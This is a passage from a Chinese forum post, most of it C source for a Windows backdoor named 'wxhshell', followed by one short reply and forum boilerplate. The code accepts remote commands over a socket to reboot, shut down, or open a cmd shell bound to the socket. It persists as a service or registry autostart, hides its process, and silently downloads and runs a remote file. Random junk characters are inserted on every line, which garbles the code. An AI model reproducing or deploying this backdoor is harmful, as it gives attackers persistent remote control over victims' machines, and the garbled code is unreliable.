  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VxDIA_@y  
  } j7ZxA*  
  else { \{`^Q+<  
qK7:[\T|?T  
    switch(cmd[0]) { .Pj<Pe  
  !O%!A<3  
  // 帮助 EtzSaB*|  
  case '?': { Xgd-^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); joskKik^  
    break; W]/J]O6  
  } ;*Vnwt A  
  // 安装 qdI%v#'M  
  case 'i': { _!1LV[x!s  
    if(Install()) ;>mM9^Jaf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Tnid7:S  
    else ?Fx~_GT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hhaiH i!$  
    break; jz_Y|"{`v  
    } X PyDZk/m  
  // 卸载 Qu[QcB{ro-  
  case 'r': { m[xl) /e  
    if(Uninstall()) ;+XrCy!.)L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J@:Q(  
    else B?i#m^S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WfaMu| L  
    break; 9[zxq`qT}+  
    } A0 Nx?  
  // 显示 wxhshell 所在路径 *gH]R*Q[Rt  
  case 'p': { pDlrK&;\z  
    char svExeFile[MAX_PATH]; BL 1KM2]  
    strcpy(svExeFile,"\n\r"); '>t&fzD0  
      strcat(svExeFile,ExeFile); OM0r*<D"!  
        send(wsh,svExeFile,strlen(svExeFile),0); iV/I909*''  
    break; JD#q6 &|  
    } JrOx nxd^  
  // 重启 "6\ 5eFN;  
  case 'b': { z.8nYL5^}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WGn=3(4  
    if(Boot(REBOOT)) $,@}%NlHc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N-QS/*C.~  
    else { Qpv#&nfUi6  
    closesocket(wsh); BzS4:e<  
    ExitThread(0); 3bWGWI  
    } pi"M*$  
    break; AMjr[!44 @  
    } :W,S  
  // 关机 PolJo?HZ  
  case 'd': { 't`h?VvL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y/\b0&  
    if(Boot(SHUTDOWN)) }qM^J;uy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A9b(P[!]T:  
    else { |&8XmexLb  
    closesocket(wsh); K1hkOj;S  
    ExitThread(0); +o`%7r(R  
    } :41Y  
    break; ?d3K:|g  
    } j7Fb4;o{  
  // 获取shell n5kGHL2   
  case 's': { \ji\r]k  
    CmdShell(wsh); Fge%6hu  
    closesocket(wsh); 7 2JwG7qh  
    ExitThread(0); Y M:9m)  
    break; _ +DL   
  } FzX ;~CA  
  // 退出 >[aR8J/U  
  case 'x': { ?pZU'5le`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5zBA]1PY  
    CloseIt(wsh); LH(P<k&  
    break;  B`e/ /  
    } l%2VA  
  // 离开 Kj4BVs  
  case 'q': { 7FoX)54"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y:;_R=M  
    closesocket(wsh); 9SsVJ<9,R  
    WSACleanup(); )). =MTk  
    exit(1); )&_bY~P  
    break; SX"|~Pi(  
        } uX_#NP/2  
  } B-N//ef}  
  } 8c.>6 Hy  
> f X^NX  
  // 提示信息 K+vD&Z^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (G> su  
} HNS^:X R  
  } [<f2h-V$  
*fc8M(]&d  
  return; yZ6WbI8n  
} n{!{,s  
39 }e }W"  
// shell模块句柄 ,;}   
int CmdShell(SOCKET sock) Pg T3E  
{ +pqbl*W;1  
STARTUPINFO si; s 1M-(d Q  
ZeroMemory(&si,sizeof(si)); ,nYa+e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?I^$35  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h@R n)D  
PROCESS_INFORMATION ProcessInfo; HjA~3l7  
char cmdline[]="cmd"; 6Sd:5eTEQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M,JwoKyg  
  return 0; }PK4 KRn  
} P1[.[q/-e  
o4p5`jOG@  
// 自身启动模式 hx0t!k(3  
int StartFromService(void) zgjgEhnvU  
{ s U`#hL6;  
typedef struct Wd7*7']  
{ 8J'5%$3u  
  DWORD ExitStatus; =? !FO'zt"  
  DWORD PebBaseAddress; (E0WZ $f}  
  DWORD AffinityMask; k_}$d{X  
  DWORD BasePriority; &6CDIxH{  
  ULONG UniqueProcessId; A x8>  
  ULONG InheritedFromUniqueProcessId; >I@&"&d  
}   PROCESS_BASIC_INFORMATION; Q.$8>)  
R?)Yh.vi=t  
PROCNTQSIP NtQueryInformationProcess; 5/P. 4<c7  
X'$H'[8;C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |u%;"N'p)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1R@G7m  
;g?PK5rB(  
  HANDLE             hProcess; %TFsk  
  PROCESS_BASIC_INFORMATION pbi; F.y_H#h  
Jf2JGTcm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D,.`mX  
  if(NULL == hInst ) return 0; ub8d]GZJ  
R-zS7Jyox  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,Dv*<La`\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \uHC9}0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ag0 6M U  
#@ HlnF}T  
  if (!NtQueryInformationProcess) return 0; v+x<X5u  
z{3`nd,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h$`m0-'  
  if(!hProcess) return 0; I@m(}  
G_=i#Tu[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AAfU]4u0S  
w%`S>+kX&  
  CloseHandle(hProcess); spP[S"gI  
| t:UpP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uSXnf  
if(hProcess==NULL) return 0; 3_wR2AU~  
EFDmNud`Q  
HMODULE hMod; [@qjy*5p  
char procName[255]; $A~aNI  
unsigned long cbNeeded; ILDO/>n  
xT&/xZLT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A\S=>[ar-  
p,z>:3M  
  CloseHandle(hProcess); uzQj+Po  
JG^GEJ  
if(strstr(procName,"services")) return 1; // 以服务启动 -l}"DP _  
S}Wj.l+F  
  return 0; // 注册表启动 wclj9&k  
} k+[oYd  
rx| ,DI  
// 主模块 ~c v|,  
int StartWxhshell(LPSTR lpCmdLine) +vJ}'uR3P  
{ g \S6>LG!  
  SOCKET wsl; H5d@TB, `  
BOOL val=TRUE; 56YqYu.  
  int port=0; ='.b/]!_  
  struct sockaddr_in door; 0 J"g"=  
ABoB=0.l  
  if(wscfg.ws_autoins) Install(); nt_Cb*K<  
K+ /wJ9^B  
port=atoi(lpCmdLine); fCu;n%   
T0fm6 J  
if(port<=0) port=wscfg.ws_port; *?Wz/OJ0  
~h<T0Zc  
  WSADATA data; p/0dtnXa(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sE]z.Po=  
:KC]1_zqR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x Y$x= )  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5hEA/G  
  door.sin_family = AF_INET; ,^ ,R .T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x2fqfrr_]  
  door.sin_port = htons(port); "PTEt{qn  
SD~4CtlfI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =@O&$&  
closesocket(wsl); %Qj$@.*:  
return 1; l-r$czY  
} ,]JIp~=nsh  
J0bcW25  
  if(listen(wsl,2) == INVALID_SOCKET) { 0u"j^v  
closesocket(wsl); tol-PJS}  
return 1; 3`D*AFQc  
} `;G@qp:A  
  Wxhshell(wsl); a"4X7 D+  
  WSACleanup(); 21<Sfsc$  
C+!=C{@7di  
return 0; Y[b08{/  
.(p_YjIA  
} P;XA|`&  
kn$SG  
// 以NT服务方式启动 Ot=nKdP}D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9:%')M&Q  
{ i\ 7JQZ  
DWORD   status = 0; 1)}hzA  
  DWORD   specificError = 0xfffffff; u-.5rH l  
Q>X1 :Zn3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pdN8 hJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u*\QVOF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dw}ge,bBic  
  serviceStatus.dwWin32ExitCode     = 0; Tl"r#  
  serviceStatus.dwServiceSpecificExitCode = 0; vfT @;`  
  serviceStatus.dwCheckPoint       = 0; J7WNgl% u  
  serviceStatus.dwWaitHint       = 0; KX\=wFbP)  
ErA*a3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9;*B*S~znW  
  if (hServiceStatusHandle==0) return; OP(om$xm  
fi'zk  
status = GetLastError(); LD WYFOGQ  
  if (status!=NO_ERROR) &sn-;r  
{ YJwI@E(l$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .j)DE}[q>  
    serviceStatus.dwCheckPoint       = 0; Ao\OU}  
    serviceStatus.dwWaitHint       = 0; v8\_6}*I  
    serviceStatus.dwWin32ExitCode     = status; E2o8'.~Yd`  
    serviceStatus.dwServiceSpecificExitCode = specificError; " 5Pqvi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dJQwb  
    return; vfDX~_N  
  } 0"\js:-$  
yHf^6|$8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {J)gS  
  serviceStatus.dwCheckPoint       = 0; m(xyEU  
  serviceStatus.dwWaitHint       = 0; Y*jkUQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C@XnV=J  
} /&=y_%VR  
{O=_c|u{N  
// 处理NT服务事件,比如:启动、停止 Y^#>3T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {6)H.vpP  
{ 6ypHH 2X  
switch(fdwControl) tG"EbWi  
{ Y2uy@j*N  
case SERVICE_CONTROL_STOP: NeEV=+<-G  
  serviceStatus.dwWin32ExitCode = 0; z6qx9x|Ij  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k^q~ 2  
  serviceStatus.dwCheckPoint   = 0; J8@bPS27q  
  serviceStatus.dwWaitHint     = 0; |1!OwQax  
  { iH)vLD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _!Z}HCk  
  } 5 r<cna  
  return; B.Z5+MgM  
case SERVICE_CONTROL_PAUSE: 04X/(74  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Wb^g{F!W  
  break;  GVu-<R  
case SERVICE_CONTROL_CONTINUE: d_V7w4lK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v~dUH0P<>e  
  break; C?g*c  
case SERVICE_CONTROL_INTERROGATE: \@NnL\ t u  
  break; G&N),wsNZK  
}; zLS?: yq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5C-n"8&C&  
} >Zm|R|{BE  
vHymSU/J  
// 标准应用程序主函数 <&1hJ)O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  GXTjK!  
{ up?S (.*B  
XS0NjZW  
// 获取操作系统版本 Q;z'"P   
OsIsNt=GetOsVer(); >O1u![9K|w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9Pm|a~[m  
=p8iYtI  
  // 从命令行安装 We"\nOP  
  if(strpbrk(lpCmdLine,"iI")) Install(); kQ6YQsJ.*  
!*k'3r KOW  
  // 下载执行文件 `LTD|0;  
if(wscfg.ws_downexe) { 2F,?}jJ.K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) unN*L  
  WinExec(wscfg.ws_filenam,SW_HIDE); kkT=g^D9j  
} t/x]vCP,2D  
Zq/=uB7Z  
if(!OsIsNt) { `g}en%5b\  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,f~8:LHq  
HideProc(); i[e-dT:*R  
StartWxhshell(lpCmdLine); 3SF J8  
} 59_VC('  
else b~rlh=(o#_  
  if(StartFromService()) }Mc&yjhMrg  
  // 以服务方式启动 _#E@& z".L  
  StartServiceCtrlDispatcher(DispatchTable); w4uY/!~k  
else Ve\!:,(Y_  
  // 普通方式启动 v`"BXSmp{  
  StartWxhshell(lpCmdLine); u9}LvQh_6,  
#|cr\\2*  
return 0; G'_5UP!  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八